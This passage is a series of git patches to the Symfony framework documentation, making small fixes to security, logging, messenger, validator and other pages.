 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security/passwords.rst b/security/passwords.rst
index 25c24354568..521be799277 100644
--- a/security/passwords.rst
+++ b/security/passwords.rst
@@ -230,7 +230,7 @@ After configuring the correct algorithm, you can use the
                 $plaintextPassword = ...;
 
                 // hash the password (based on the security.yaml config for the $user class)
-                $hashedPassword = $passwordHasher->hash(
+                $hashedPassword = $passwordHasher->hashPassword(
                     $user,
                     $plaintextPassword
                 );
@@ -260,7 +260,7 @@ After configuring the correct algorithm, you can use the
         $plaintextPassword = ...;
 
         // hash the password (based on the password hasher factory config for the $user class)
-        $hashedPassword = $passwordHasher->hash(
+        $hashedPassword = $passwordHasher->hashPassword(
             $user,
             $plaintextPassword
         );

From 3e4c7d78d0287346257fa2884afec189ce43d215 Mon Sep 17 00:00:00 2001
From: gndk <25748293+gndk@users.noreply.github.com>
Date: Mon, 8 Nov 2021 20:12:45 +0100
Subject: [PATCH 1337/5766] Update type declaration for Doctrine DBAL
 Connection

In doctrine/dbal 3.0.0 Doctrine\DBAL\Driver\Connection has become an
internal interface and the wrapper-level Doctrine\DBAL\Connection should
be used.
---
 doctrine/dbal.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine/dbal.rst b/doctrine/dbal.rst
index e330fd85732..8459b597faa 100644
--- a/doctrine/dbal.rst
+++ b/doctrine/dbal.rst
@@ -47,7 +47,7 @@ object::
     // src/Controller/UserController.php
     namespace App\Controller;
 
-    use Doctrine\DBAL\Driver\Connection;
+    use Doctrine\DBAL\Connection;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Response;
 

From 2ffdccb549df458ba43e3ea4091727692967d319 Mon Sep 17 00:00:00 2001
From: Samuel ROZE <samuel.roze@gmail.com>
Date: Mon, 8 Nov 2021 18:49:30 +0000
Subject: [PATCH 1338/5766] Move myself alongside the inactive Core team
 members.

---
 contributing/code/core_team.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index 11e975d75e1..5b9d2222ab8 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -65,7 +65,6 @@ Active Core Members
   * **Ryan Weaver** (`weaverryan`_);
   * **Robin Chalas** (`chalasr`_);
   * **Maxime Steinhausser** (`ogizanagi`_);
-  * **Samuel Rozé** (`sroze`_);
   * **Yonel Ceruto** (`yceruto`_);
   * **Tobias Nyholm** (`Nyholm`_);
   * **Wouter De Jong** (`wouterj`_);
@@ -106,7 +105,8 @@ Symfony contributions:
 * **Jordi Boggiano** (`Seldaek`_);
 * **Lukas Kahwe Smith** (`lsmith77`_);
 * **Jules Pietri** (`HeahDude`_);
-* **Jakub Zalas** (`jakzal`_).
+* **Jakub Zalas** (`jakzal`_);
+* **Samuel Rozé** (`sroze`_).
 
 Core Membership Application
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~

From 7a126d8fb8ee63e62b914ab60e2e1099513ba479 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Wed, 10 Nov 2021 08:29:22 +0100
Subject: [PATCH 1339/5766] [Security] Fix option name in comment

---
 security/access_control.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/access_control.rst b/security/access_control.rst
index 68c659095b2..fa27a1c233e 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -301,7 +301,7 @@ key:
             access_control:
                 -
                     path: ^/_internal/secure
-                    # the 'role' and 'allow-if' options work like an OR expression, so
+                    # the 'roles' and 'allow-if' options work like an OR expression, so
                     # access is granted if the expression is TRUE or the user has ROLE_ADMIN
                     roles: 'ROLE_ADMIN'
                     allow_if: "'127.0.0.1' == request.getClientIp() or request.headers.has('X-Secure-Access')"

From b774cb042ebd790768e1da0917fe81e26318bbdc Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Wed, 10 Nov 2021 20:33:43 +0100
Subject: [PATCH 1340/5766] [Security] Minor fix

---
 security/access_control.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/access_control.rst b/security/access_control.rst
index fa27a1c233e..45850d8e289 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -301,7 +301,7 @@ key:
             access_control:
                 -
                     path: ^/_internal/secure
-                    # the 'roles' and 'allow-if' options work like an OR expression, so
+                    # the 'roles' and 'allow_if' options work like an OR expression, so
                     # access is granted if the expression is TRUE or the user has ROLE_ADMIN
                     roles: 'ROLE_ADMIN'
                     allow_if: "'127.0.0.1' == request.getClientIp() or request.headers.has('X-Secure-Access')"

From a80183fc00921a868c1b039df9b80a922584176d Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Wed, 10 Nov 2021 21:02:06 +0100
Subject: [PATCH 1341/5766] Fix link to fortrabbit article

---
 deployment.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/deployment.rst b/deployment.rst
index 7761844d9d4..2e0f222cae1 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -46,7 +46,7 @@ Basic File Transfer
 The most basic way of deploying an application is copying the files manually
 via FTP/SCP (or similar method). This has its disadvantages as you lack control
 over the system as the upgrade progresses. This method also requires you
-to take some manual steps after transferring the files (see `Common Deployment Tasks`_)
+to take some manual steps after transferring the files (see `Common Deployment Tasks`_).
 
 Using Source Control
 ~~~~~~~~~~~~~~~~~~~~
@@ -278,7 +278,7 @@ Learn More
 .. _`Heroku`: https://devcenter.heroku.com/articles/deploying-symfony4
 .. _`Platform.sh`: https://docs.platform.sh/frameworks/symfony.html
 .. _`Azure`: https://azure.microsoft.com/en-us/develop/php/
-.. _`fortrabbit`: https://help.fortrabbit.com/install-symfony-4-uni
+.. _`fortrabbit`: https://help.fortrabbit.com/install-symfony-5
 .. _`EasyDeployBundle`: https://github.com/EasyCorp/easy-deploy-bundle
 .. _`Clever Cloud`: https://www.clever-cloud.com/doc/php/tutorial-symfony/
 .. _`Symfony Cloud`: https://symfony.com/doc/master/cloud/intro.html

From 9963782f865f57677971d90f9fc78a19f5122935 Mon Sep 17 00:00:00 2001
From: chapterjason <chapterjason@users.noreply.github.com>
Date: Fri, 12 Nov 2021 16:14:05 +0100
Subject: [PATCH 1342/5766] Fix confusing character in class name

---
 form/bootstrap5.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/bootstrap5.rst b/form/bootstrap5.rst
index 779820b9861..2e82bda0cab 100644
--- a/form/bootstrap5.rst
+++ b/form/bootstrap5.rst
@@ -114,7 +114,7 @@ Form type or ``ChoiceType`` configuration) to the label class.
         $builder
             ->add('myCheckbox', CheckboxType::class, [
                 'label_attr' => [
-                    'class' => '`checkbox-inline',
+                    'class' => 'checkbox-inline',
                 ],
             ])
             ->add('myRadio', RadioType::class, [

From 6f70302e93008c907dce6bc8c5a0ca1f0eee5382 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 12 Nov 2021 16:23:04 +0100
Subject: [PATCH 1343/5766] [Validator] Cidr constraint tweaks

---
 reference/constraints/Cidr.rst | 45 +++++++++++++++-------------------
 1 file changed, 20 insertions(+), 25 deletions(-)

diff --git a/reference/constraints/Cidr.rst b/reference/constraints/Cidr.rst
index 658a9910b7c..bb51a4826be 100644
--- a/reference/constraints/Cidr.rst
+++ b/reference/constraints/Cidr.rst
@@ -23,12 +23,12 @@ Basic Usage
 
     .. code-block:: php-annotations
 
-        // src/Entity/Author.php
+        // src/Entity/NetworkSettings.php
         namespace App\Entity;
 
         use Symfony\Component\Validator\Constraints as Assert;
 
-        class Author
+        class NetworkSettings
         {
             /**
              * @Assert\Cidr
@@ -38,12 +38,12 @@ Basic Usage
 
     .. code-block:: php-attributes
 
-        // src/Entity/Author.php
+        // src/Entity/NetworkSettings.php
         namespace App\Entity;
 
         use Symfony\Component\Validator\Constraints as Assert;
 
-        class Author
+        class NetworkSettings
         {
             #[Assert\Cidr]
             protected $cidrNotation;
@@ -52,7 +52,7 @@ Basic Usage
     .. code-block:: yaml
 
         # config/validator/validation.yaml
-        App\Entity\Author:
+        App\Entity\NetworkSettings:
             properties:
                 cidrNotation:
                     - Cidr: ~
@@ -65,7 +65,7 @@ Basic Usage
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
 
-            <class name="App\Entity\Author">
+            <class name="App\Entity\NetworkSettings">
                 <property name="cidrNotation">
                     <constraint name="Cidr"/>
                 </property>
@@ -74,13 +74,13 @@ Basic Usage
 
     .. code-block:: php
 
-        // src/Entity/Author.php
+        // src/Entity/NetworkSettings.php
         namespace App\Entity;
 
         use Symfony\Component\Validator\Constraints as Assert;
         use Symfony\Component\Validator\Mapping\ClassMetadata;
 
-        class Author
+        class NetworkSettings
         {
             public static function loadValidatorMetadata(ClassMetadata $metadata)
             {
@@ -103,34 +103,34 @@ Options
 This message is shown if the string is not a valid CIDR notation.
 
 ``netmaskMin``
-~~~~~~~~~~~
+~~~~~~~~~~~~~~
 
 **type**: ``integer`` **default**: ``0``
 
 It's a constraint for the lowest value a valid netmask may have.
 
 ``netmaskMax``
-~~~~~~~~~~~
+~~~~~~~~~~~~~~
 
-**type**: ``string`` **default**: ``32 for IPv4 or 128 for IPv6``
+**type**: ``string`` **default**: ``32`` for IPv4 or ``128`` for IPv6
 
 It's a constraint for the biggest value a valid netmask may have.
 
 ``netmaskRangeViolationMessage``
-~~~~~~~~~~~
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The value of the netmask should be between {{ min }} and {{ max }}.``
 
-This message is shown if the value of the CIDR's netmask is bigger then the value of the `max_` or lower than
-the value of the `min_`.
+This message is shown if the value of the CIDR's netmask is bigger than the
+``netmaskMax`` value or lower than the ``netmaskMin`` value.
 
 You can use the following parameters in this message:
 
 ===============  ==============================================================
 Parameter        Description
 ===============  ==============================================================
-``{{ min }}``  The minimum value a CIDR netmask may have
-``{{ max }}``  The maximum value a CIDR netmask may have
+``{{ min }}``    The minimum value a CIDR netmask may have
+``{{ max }}``    The maximum value a CIDR netmask may have
 ===============  ==============================================================
 
 .. include:: /reference/constraints/_payload-option.rst.inc
@@ -141,15 +141,10 @@ Parameter        Description
 **type**: ``string`` **default**: ``all``
 
 This determines exactly *how* the CIDR notation is validated and can take one
-of a variety of different values:
-
-**All ranges**
+of these values:
 
-``4``
-    Validates for CIDR notations that have an IPv4.
-``6``
-    Validates for CIDR notations that have an IPv6.
-``all``
-    Validates all CIDR formats
+* ``4``: validates for CIDR notations that have an IPv4;
+* ``6``: validates for CIDR notations that have an IPv6;
+* ``all``: validates all CIDR formats.
 
 .. _`CIDR`: https://en.wikipedia.org/wiki/Classless_Inter-Domain_Routing

From 3b32e4196a78f14fdec063dce76d98a6a471acb0 Mon Sep 17 00:00:00 2001
From: Abdellah Ramadan <ramadanabdel24@gmail.com>
Date: Sun, 14 Nov 2021 22:52:51 +0100
Subject: [PATCH 1344/5766] Update LoggerInterface hyperlink to GitHub page

On this line 'The logger service has different methods for different logging levels/priorities. See LoggerInterface for a list of all of the methods on the logger.' the LoggerInterface link leads to a 404 GitHub page. This PR is to update it to the correct link.
---
 logging.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/logging.rst b/logging.rst
index ae9ddd10a73..1b425283d83 100644
--- a/logging.rst
+++ b/logging.rst
@@ -41,7 +41,7 @@ To log a message, inject the default logger in your controller or service::
     }
 
 The ``logger`` service has different methods for different logging levels/priorities.
-See `LoggerInterface`_ for a list of all of the methods on the logger.
+See .. _`LoggerInterface`: https://github.com/php-fig/log/blob/master/src/LoggerInterface.php for a list of all of the methods on the logger.
 
 Monolog
 -------

From 09e26d1d2175a04e4171c237d14367db85f4904e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 15 Nov 2021 09:08:47 +0100
Subject: [PATCH 1345/5766] Tweaks

---
 logging.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/logging.rst b/logging.rst
index 1b425283d83..d99724988e6 100644
--- a/logging.rst
+++ b/logging.rst
@@ -41,7 +41,7 @@ To log a message, inject the default logger in your controller or service::
     }
 
 The ``logger`` service has different methods for different logging levels/priorities.
-See .. _`LoggerInterface`: https://github.com/php-fig/log/blob/master/src/LoggerInterface.php for a list of all of the methods on the logger.
+See `LoggerInterface`_ for a list of all of the methods on the logger.
 
 Monolog
 -------
@@ -390,9 +390,9 @@ Learn more
     logging/monolog_regex_based_excludes
 
 .. _`the twelve-factor app methodology`: https://12factor.net/logs
-.. _PSR-3: https://www.php-fig.org/psr/psr-3/
+.. _`PSR-3`: https://www.php-fig.org/psr/psr-3/
 .. _`stderr`: https://en.wikipedia.org/wiki/Standard_streams#Standard_error_(stderr)
-.. _Monolog: https://github.com/Seldaek/monolog
-.. _LoggerInterface: https://github.com/php-fig/log/blob/master/Psr/Log/LoggerInterface.php
+.. _`Monolog`: https://github.com/Seldaek/monolog
+.. _`LoggerInterface`: https://github.com/php-fig/log/blob/master/src/LoggerInterface.php
 .. _`logrotate`: https://github.com/logrotate/logrotate
 .. _`Monolog Configuration`: https://github.com/symfony/monolog-bundle/blob/master/DependencyInjection/Configuration.php#L25

From 89f956493bc609a6da24ba03b3f15fd9f9669c6b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 12 Nov 2021 16:10:19 +0100
Subject: [PATCH 1346/5766] [Testing] Add comments to the work-in-progress
 section

---
 .doctor-rst.yaml |  1 +
 testing.rst      | 11 +++++------
 2 files changed, 6 insertions(+), 6 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index b1cd5645be8..86741f56f86 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -106,3 +106,4 @@ whitelist:
         - 'End to End Tests (E2E)'
         - '.. code-block:: php'
         - '.. _`a feature to test applications using Mercure`: https://github.com/symfony/panther#creating-isolated-browsers-to-test-apps-using-mercure-or-websocket'
+        - '..  End to End Tests (E2E)'
diff --git a/testing.rst b/testing.rst
index 1fe8e409a69..363abb9b98b 100644
--- a/testing.rst
+++ b/testing.rst
@@ -992,12 +992,11 @@ Mailer Assertions
     <jane@example.com>`` into ``jane@example.com``.
 
 .. TODO
-    End to End Tests (E2E)
-    ----------------------
-
-    * panther
-    * testing javascript
-    * UX or form collections as example?
+..  End to End Tests (E2E)
+..  ----------------------
+..  * panther
+..  * testing javascript
+..  * UX or form collections as example?
 
 Learn more
 ----------

From 33c5b6be42f29675f5cbc5f0ccfc8b5df3cd89de Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Maikel=20Ortega=20Hern=C3=A1ndez?= <maikeloh@gmail.com>
Date: Mon, 15 Nov 2021 12:53:39 -0500
Subject: [PATCH 1347/5766] Update workflow docs for $context  in GuardEvent

Make the doc reflect the current behavior for $context on GuardEvent to avoid confusing use of the events $context
---
 workflow.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/workflow.rst b/workflow.rst
index 1d70f38b0d6..2d3fdb9352c 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -388,7 +388,7 @@ order:
 
     .. versionadded:: 5.2
 
-        In Symfony 5.2, the context is accessible in all events::
+        In Symfony 5.2, the context is customizable for all events except for workflow.guard events, which will not receive the custom $context::
 
             // $context must be an array
             $context = ['context_key' => 'context_value'];

From 0fb9a0add2e52a4478c936a98664b13c16b00df7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 16 Nov 2021 09:28:20 +0100
Subject: [PATCH 1348/5766] [Filesystem] Minor tweaks

---
 components/filesystem.rst | 14 +-------------
 1 file changed, 1 insertion(+), 13 deletions(-)

diff --git a/components/filesystem.rst b/components/filesystem.rst
index d739526b84f..46c88d73d7d 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -32,24 +32,12 @@ endpoint for filesystem operations::
         echo "An error occurred while creating your directory at ".$exception->getPath();
     }
 
-.. note::
-
-    Methods :method:`Symfony\\Component\\Filesystem\\Filesystem::mkdir`,
-    :method:`Symfony\\Component\\Filesystem\\Filesystem::exists`,
-    :method:`Symfony\\Component\\Filesystem\\Filesystem::touch`,
-    :method:`Symfony\\Component\\Filesystem\\Filesystem::remove`,
-    :method:`Symfony\\Component\\Filesystem\\Filesystem::chmod`,
-    :method:`Symfony\\Component\\Filesystem\\Filesystem::chown` and
-    :method:`Symfony\\Component\\Filesystem\\Filesystem::chgrp` can receive a
-    string, an array or any object implementing :phpclass:`Traversable` as
-    the target argument.
-
 ``mkdir``
 ~~~~~~~~~
 
 :method:`Symfony\\Component\\Filesystem\\Filesystem::mkdir` creates a directory recursively.
 On POSIX filesystems, directories are created with a default mode value
-`0777`. You can use the second argument to set your own mode::
+``0777``. You can use the second argument to set your own mode::
 
     $filesystem->mkdir('/tmp/photos', 0700);
 

From 57edf91e2d42a4280f243f0050449a5dfa0bde01 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Micka=C3=ABl=20Isaert?= <mickael.isaert@gmail.com>
Date: Tue, 16 Nov 2021 12:30:09 +0100
Subject: [PATCH 1349/5766] [Security] Add example with PHP attributes for
 login link

---
 security/login_link.rst | 17 +++++++++++++++++
 1 file changed, 17 insertions(+)

diff --git a/security/login_link.rst b/security/login_link.rst
index e5680ea5de3..86406f9b316 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -108,6 +108,23 @@ intercept requests to this route:
                 throw new \LogicException('This code should never be reached');
             }
         }
+        
+    .. code-block:: php-attributes
+    
+        // src/Controller/SecurityController.php
+        namespace App\Controller;
+
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\Routing\Annotation\Route;
+
+        class SecurityController extends AbstractController
+        {
+            #[Route('/login_check', name: 'login_check')]
+            public function check()
+            {
+                throw new \LogicException('This code should never be reached');
+            }
+        }
 
     .. code-block:: yaml
 

From 29a024acb0bf43e920e28aa080ff141123105fbb Mon Sep 17 00:00:00 2001
From: Harry van der Valk <xxlfalcon@gmail.com>
Date: Tue, 16 Nov 2021 17:06:38 +0100
Subject: [PATCH 1350/5766] Change $requestStack to $this->requestStack

Within the __invoke() method a call was made to $requestStack. This update will use the private $requestStack property as defined in the SessionRequestProcessor class.
---
 logging/processors.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/logging/processors.rst b/logging/processors.rst
index 3c4faacda5f..fbc7d14c151 100644
--- a/logging/processors.rst
+++ b/logging/processors.rst
@@ -35,7 +35,7 @@ using a processor::
         public function __invoke(array $record)
         {
             try {
-                $session = $requestStack->getSession();
+                $session = $this->requestStack->getSession();
             } catch (SessionNotFoundException $e) {
                 return;
             }

From 9931fd6bbd56a8a7a5ed4b32557b2efb3d9855fc Mon Sep 17 00:00:00 2001
From: BahmanMD <bahman.mehrdad@gmail.com>
Date: Wed, 17 Nov 2021 00:19:49 +0330
Subject: [PATCH 1351/5766] Update doctrine.rst

---
 doctrine.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/doctrine.rst b/doctrine.rst
index 97d4fa79c86..02260346d57 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -233,9 +233,11 @@ already installed:
 
 If everything worked, you should see something like this:
 
+.. code-block:: text
+
     SUCCESS!
 
-    Next: Review the new migration "migrations/Version20180207231217.php"
+    Next: Review the new migration "migrations/Version20211116204726.php"
     Then: Run the migration with php bin/console doctrine:migrations:migrate
 
 If you open this file, it contains the SQL needed to update your database! To run

From c4fe71f03557c8c847557f569337bfc3dd6db729 Mon Sep 17 00:00:00 2001
From: Schultheisz Norbert <schultheisz.norbert@webshippy.com>
Date: Thu, 21 Oct 2021 10:51:52 +0200
Subject: [PATCH 1352/5766] [Messenger] Redis Sentinel support

---
 messenger.rst | 78 ++++++++++++++++++++++++++++++---------------------
 1 file changed, 46 insertions(+), 32 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index cbbd7e6b31f..0e3b8f51b0d 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1441,38 +1441,47 @@ A number of options can be configured via the DSN or via the ``options`` key
 under the transport in ``messenger.yaml``:
 
 
-===================  =====================================  =================================
-Option               Description                            Default
-===================  =====================================  =================================
-stream               The Redis stream name                  messages
-group                The Redis consumer group name          symfony
-consumer             Consumer name used in Redis            consumer
-auto_setup           Create the Redis group automatically?  true
-auth                 The Redis password
-delete_after_ack     If ``true``, messages are deleted      false
-                     automatically after processing them
-delete_after_reject  If ``true``, messages are deleted      true
-                     automatically if they are rejected
-lazy                 Connect only when a connection is      false
-                     really needed
-serializer           How to serialize the final payload     ``Redis::SERIALIZER_PHP``
-                     in Redis (the
-                     ``Redis::OPT_SERIALIZER`` option)
-stream_max_entries   The maximum number of entries which    ``0`` (which means "no trimming")
-                     the stream will be trimmed to. Set
-                     it to a large enough number to
-                     avoid losing pending messages
-tls                  Enable TLS support for the connection  false
-redeliver_timeout    Timeout before retrying a pending      ``3600``
-                     message which is owned by an
-                     abandoned consumer (if a worker died
-                     for some reason, this will occur,
-                     eventually you should retry the
-                     message) - in seconds.
-claim_interval       Interval on which pending/abandoned    ``60000`` (1 Minute)
-                     messages should be checked for to
-                     claim - in milliseconds
-===================  =====================================  =================================
+======================= =====================================  =================================
+     Option               Description                          Default
+======================= =====================================  =================================
+stream                  The Redis stream name                  messages
+group                   The Redis consumer group name          symfony
+consumer                Consumer name used in Redis            consumer
+auto_setup              Create the Redis group automatically?  true
+auth                    The Redis password
+delete_after_ack        If ``true``, messages are deleted      false
+                        automatically after processing them
+delete_after_reject     If ``true``, messages are deleted      true
+                        automatically if they are rejected
+lazy                    Connect only when a connection is      false
+                        really needed
+serializer              How to serialize the final payload     ``Redis::SERIALIZER_PHP``
+                        in Redis (the
+                        ``Redis::OPT_SERIALIZER`` option)
+stream_max_entries      The maximum number of entries which    ``0`` (which means "no trimming")
+                        the stream will be trimmed to. Set
+                        it to a large enough number to
+                        avoid losing pending messages
+tls                     Enable TLS support for the connection  false
+redeliver_timeout       Timeout before retrying a pending      ``3600``
+                        message which is owned by an
+                        abandoned consumer (if a worker died
+                        for some reason, this will occur,
+                        eventually you should retry the
+                        message) - in seconds.
+claim_interval          Interval on which pending/abandoned    ``60000`` (1 Minute)
+                        messages should be checked for to
+                        claim - in milliseconds
+sentinel_persistent_id  String, if null connection is          null
+                        non-persistent.                                                                
+sentinel_retry_interval Int, value in milliseconds             ``0``                            
+sentinel_read_timeout   Float, value in seconds                ``0``
+                        default indicates unlimited                                             
+sentinel_timeout        Float, value in seconds                ``0``
+                        default indicates unlimited                 
+sentinel_master         String, if null or empty Sentinel      null
+                        support is disabled
+======================= =====================================  =================================
 
 .. caution::
 
@@ -1500,6 +1509,11 @@ claim_interval       Interval on which pending/abandoned    ``60000`` (1 Minute)
 .. versionadded:: 5.2
 
     The ``delete_after_reject`` and ``lazy`` options were introduced in Symfony 5.2.
+	
+.. versionadded:: 5.4
+
+    The ``sentinel_persistent_id``, ``sentinel_retry_interval``, ``sentinel_read_timeout``,
+    ``sentinel_timeout``, and ``sentinel_master`` options were introduced in Symfony 5.4.
 
 .. deprecated:: 5.4
 

From 09f0759039a21977b2d94a682c05b2826371aeaa Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 17 Nov 2021 17:00:03 +0100
Subject: [PATCH 1353/5766] Minor tweaks

---
 messenger.rst | 84 +++++++++++++++++++++++++--------------------------
 1 file changed, 42 insertions(+), 42 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 0e3b8f51b0d..59ac3a5fb4e 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1441,47 +1441,47 @@ A number of options can be configured via the DSN or via the ``options`` key
 under the transport in ``messenger.yaml``:
 
 
-======================= =====================================  =================================
-     Option               Description                          Default
-======================= =====================================  =================================
-stream                  The Redis stream name                  messages
-group                   The Redis consumer group name          symfony
-consumer                Consumer name used in Redis            consumer
-auto_setup              Create the Redis group automatically?  true
-auth                    The Redis password
-delete_after_ack        If ``true``, messages are deleted      false
-                        automatically after processing them
-delete_after_reject     If ``true``, messages are deleted      true
-                        automatically if they are rejected
-lazy                    Connect only when a connection is      false
-                        really needed
-serializer              How to serialize the final payload     ``Redis::SERIALIZER_PHP``
-                        in Redis (the
-                        ``Redis::OPT_SERIALIZER`` option)
-stream_max_entries      The maximum number of entries which    ``0`` (which means "no trimming")
-                        the stream will be trimmed to. Set
-                        it to a large enough number to
-                        avoid losing pending messages
-tls                     Enable TLS support for the connection  false
-redeliver_timeout       Timeout before retrying a pending      ``3600``
-                        message which is owned by an
-                        abandoned consumer (if a worker died
-                        for some reason, this will occur,
-                        eventually you should retry the
-                        message) - in seconds.
-claim_interval          Interval on which pending/abandoned    ``60000`` (1 Minute)
-                        messages should be checked for to
-                        claim - in milliseconds
-sentinel_persistent_id  String, if null connection is          null
-                        non-persistent.                                                                
-sentinel_retry_interval Int, value in milliseconds             ``0``                            
-sentinel_read_timeout   Float, value in seconds                ``0``
-                        default indicates unlimited                                             
-sentinel_timeout        Float, value in seconds                ``0``
-                        default indicates unlimited                 
-sentinel_master         String, if null or empty Sentinel      null
-                        support is disabled
-======================= =====================================  =================================
+=======================  =====================================  =================================
+Option                   Description                            Default
+=======================  =====================================  =================================
+stream                   The Redis stream name                  messages
+group                    The Redis consumer group name          symfony
+consumer                 Consumer name used in Redis            consumer
+auto_setup               Create the Redis group automatically?  true
+auth                     The Redis password
+delete_after_ack         If ``true``, messages are deleted      false
+                         automatically after processing them
+delete_after_reject      If ``true``, messages are deleted      true
+                         automatically if they are rejected
+lazy                     Connect only when a connection is      false
+                         really needed
+serializer               How to serialize the final payload     ``Redis::SERIALIZER_PHP``
+                         in Redis (the
+                         ``Redis::OPT_SERIALIZER`` option)
+stream_max_entries       The maximum number of entries which    ``0`` (which means "no trimming")
+                         the stream will be trimmed to. Set
+                         it to a large enough number to
+                         avoid losing pending messages
+tls                      Enable TLS support for the connection  false
+redeliver_timeout        Timeout before retrying a pending      ``3600``
+                         message which is owned by an
+                         abandoned consumer (if a worker died
+                         for some reason, this will occur,
+                         eventually you should retry the
+                         message) - in seconds.
+claim_interval           Interval on which pending/abandoned    ``60000`` (1 Minute)
+                         messages should be checked for to
+                         claim - in milliseconds
+sentinel_persistent_id   String, if null connection is          null
+                         non-persistent.
+sentinel_retry_interval  Int, value in milliseconds             ``0``
+sentinel_read_timeout    Float, value in seconds                ``0``
+                         default indicates unlimited
+sentinel_timeout         Float, value in seconds                ``0``
+                         default indicates unlimited
+sentinel_master          String, if null or empty Sentinel      null
+                         support is disabled
+=======================  =====================================  =================================
 
 .. caution::
 
@@ -1509,7 +1509,7 @@ sentinel_master         String, if null or empty Sentinel      null
 .. versionadded:: 5.2
 
     The ``delete_after_reject`` and ``lazy`` options were introduced in Symfony 5.2.
-	
+
 .. versionadded:: 5.4
 
     The ``sentinel_persistent_id``, ``sentinel_retry_interval``, ``sentinel_read_timeout``,

From 587c949fcde3d2edcd1f10dffdd2a199b0d63084 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 17 Nov 2021 17:24:41 +0100
Subject: [PATCH 1354/5766] Minor tweak

---
 configuration/secrets.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/configuration/secrets.rst b/configuration/secrets.rst
index c1a342e9b72..ba0c05bb278 100644
--- a/configuration/secrets.rst
+++ b/configuration/secrets.rst
@@ -100,7 +100,8 @@ in ``config/secrets/prod``. You can also set the secret in a few other ways:
 
 .. note::
 
-    If you need to rename a secret, you must create the new one and remove the old one.
+    There's no command to rename secrets, so you'll need to create a new secret
+    and remove the old one.
 
 Referencing Secrets in Configuration Files
 ------------------------------------------

From 9e47c94bdb4f66e610fb20be57620bd61e9a0aa7 Mon Sep 17 00:00:00 2001
From: Andreas <andreas.leathley@panaxis.ch>
Date: Mon, 15 Nov 2021 11:12:03 +0100
Subject: [PATCH 1355/5766] Add missing information about tsconfig.json

That a file tsconfig.json is necessary was not mentioned (without it the error "The 'files' list in config file 'tsconfig.json' is empty" occurs), and making it clear that it does not have to be in the main project folder seems helpful.
---
 frontend/encore/typescript.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/frontend/encore/typescript.rst b/frontend/encore/typescript.rst
index fbd0b616c86..1ecd101a061 100644
--- a/frontend/encore/typescript.rst
+++ b/frontend/encore/typescript.rst
@@ -20,6 +20,11 @@ Want to use `TypeScript`_? No problem! First, enable it:
     +     //.enableForkedTypeScriptTypesChecking()
       ;
 
+Then add a `tsconfig.json` file with the contents `{}` to the project folder,
+or in the folder where your TypeScript files are located, like the `/assets`
+folder. In `tsconfig.json` you can define more options on how to process
+TypeScript, but defining no additional options will already work.
+
 Then restart Encore. When you do, it will give you a command you can run to
 install any missing dependencies. After running that command and restarting
 Encore, you're done!

From 18b0def05dc8a913bd4b95bd1f45ca0e1aa49b41 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 17 Nov 2021 17:34:28 +0100
Subject: [PATCH 1356/5766] Minor reword

---
